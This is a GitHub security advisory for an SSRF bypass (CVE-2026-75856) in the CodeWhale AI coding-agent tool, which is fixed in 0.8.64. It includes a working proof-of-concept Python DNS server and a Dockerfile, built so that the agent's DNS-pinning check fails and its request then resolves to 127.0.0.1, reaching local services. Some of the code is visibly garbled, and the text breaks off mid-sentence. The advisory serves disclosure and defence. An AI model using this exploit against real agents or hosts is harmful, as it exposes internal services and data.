GitHub Advisoryadvisory · crates.io, npm
GHSA-6v2g-fpxh-pmmh CodeWhale: SSRF bypass - TOCTOU on DNS failure for DNS pinning
CRITICAL
Official page ↗
- Aliases
- CVE-2026-75856
- Ecosystem
- crates.io, npm
- Packages
- deepseek-tui, codewhale-tui, codewhale
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-09-04
Affected packages
• crates.io deepseek-tui: >= 0.8.5, <= 0.8.41 (no fix yet)
• npm deepseek-tui: >= 0.8.5, < 0.8.41 → fixed in 0.8.41
• crates.io codewhale-tui: >= 0.8.41, < 0.8.64 → fixed in 0.8.64
• npm codewhale: >= 0.8.41, < 0.8.64 → fixed in 0.8.64
Description
Maintainer resolution
The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.
Summary
DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.
Details
Simplified attack scenario:
1. Attacker asks agent to visit the `mydomain.com`.
2. CodeWhale tries to resolve the IP of `mydomain.com`, however, the custom DNS server that's controlled by the attacker marks the request DNS query as failed (Time of Check).
3. CodeWhale allows the code to continue as it expects it request to fail again.
4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.
In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However
PoC
This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS server(for PoC, should be placed in `dnser/dns_resolver.py`:
```python
!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.
Usage:
pip install dnslib
sudo python dns_resolver.py # binds to 0.0.0.0:53 by default
python dns_resolver.py --port 5353 # unprivileged port for testing
"""
import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA
UPSTREAM_DNS = ("8.8.8.8", 53) # fallback resolver
def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
"""Drop all AAAA requests."""
if QTYPE[query.q.qtype] == "AAAA":
reply = query.reply()
reply.header.rcode = 3 # NXDOMAIN
return reply
return None
def handle_blocked(query: DNSRecord) -> DNSRecord | None:
"""Block domains by returning NXDOMAIN."""
blocked = {"blocked.example.com.", "ads.tracker.io."}
qname = str(query.q.qname)
if qname in blocked:
print(f" [BLOCKED] {qname}")
reply = query.reply()
reply.header.rcode = 3 # NXDOMAIN
return reply
return None
failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2
def handle_overrides(query: DNSRecord) -> DNSRecord | None:
global failer
"""Return hardcoded A records for specific names (split-horizon / local dev)."""
overrides: dict[str, str] = {
"myapp.local.": "127.0.0.1",
"devserver.local.": "192.168.1.100",
"mydomain.com.": "127.0.0.1",
}
qname = str(query.q.qname)
qtype = QTYPE[query.q.qtype]
if qname in overrides and qtype == "A":
failer += 1
cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS) # position within cycle
should_fail = cycle_pos DNSRecord | None:
"""Rewrite a CNAME transparently (resolve alias locally)."""
rewrites: dict[str, str] = {
# "old.internal.": "new.internal.",
}
qname = str(query.q.qname)
if qname in rewrites:
target = rewrites[qname]
print(f" [REWRITE] {qname} → {target}")
reply = query.reply()
reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))
return reply
return None
def handle_upstream(query: DNSRecord) -> DNSRecord | None:
"""Forward the query to the upstream resolver."""
try:
raw = query.pack()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3)
sock.sendto(raw, UPSTREAM_DNS)
data, _ = sock.recvfrom(4096)
sock.close()
reply = DNSRecord.parse(data)
print(f" [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}")
return reply
except Exception as e:
print(f" [UPSTREAM ERROR] {e}")
return None
Chain of responsibility — handlers are tried in order; first non-None wins.
HANDLERS = [
handle_blocked,
handle_overrides,
handle_rewrite,
handle_upstream,
]
─────────────────────────────────────────────────────────────────────────────
Server plumbing — no need to edit below this line
─────────────────────────────────────────────────────────────────────────────
def resolve(data: bytes) -> bytes:
try:
query = DNSRecord.parse(data)
qname = str(query.q.qname)
qtype = QTYPE[query.q.qtype]
print(f"[QUERY] {qtype} {qname}")
for handler in HANDLERS:
reply = handler(query)
if reply is not None:
return reply.pack()
# Fallback: SERVFAIL
reply = query.reply()
reply.header.rcode = 2
return reply.pack()
except Exception as e:
print(f"[ERROR] Failed to parse/handle query: {e}")
return b""
def udp_server(host: str, port: int) -> None:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((host, port))
print(f"DNS resolver listening on {host}:{port} (UDP)")
while True:
data, addr = sock.recvfrom(4096)
threading.Thread(
target=lambda d=data, a=addr: sock.sendto(resolve(d), a),
daemon=True,
).start()
def tcp_server(host: str, port: int) -> None:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((host, port))
srv.listen(10)
print(f"DNS resolver listening on {host}:{port} (TCP)")
def handle_conn(conn: socket.socket) -> None:
with conn:
length_bytes = conn.recv(2)
if len(length_bytes) None:
parser = argparse.ArgumentParser(description="Local DNS resolver")
parser.add_argument("--host", default="0.0.0.0", help="Bind address")
parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)")
args = parser.parse_args()
t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)
t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)
t_udp.start()
t_tcp.start()
try:
t_udp.join()
except KeyboardInterrupt:
print("\nShutting down.")
if __name__ == "__main__":
main()
```
Docker file to build it(`dnser/Dockerfile`):
```bash
FROM python:3.12-slim
WORKDIR /app
RUN pip install dnslib --no-cache-dir
COPY dns_resolver.py .
EXPOSE 53/udp
EXPOSE 53/tcp
CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"]
```
Then to simplify the test, we can set…
Related
Alias · CVE (1)
- CVE-2026-75856 CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent… vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness
References
- https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh web
- https://nvd.nist.gov/vuln/detail/CVE-2026-75856 advisory
- https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e web
- https://github.com/Hmbown/CodeWhale package
- https://www.vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou web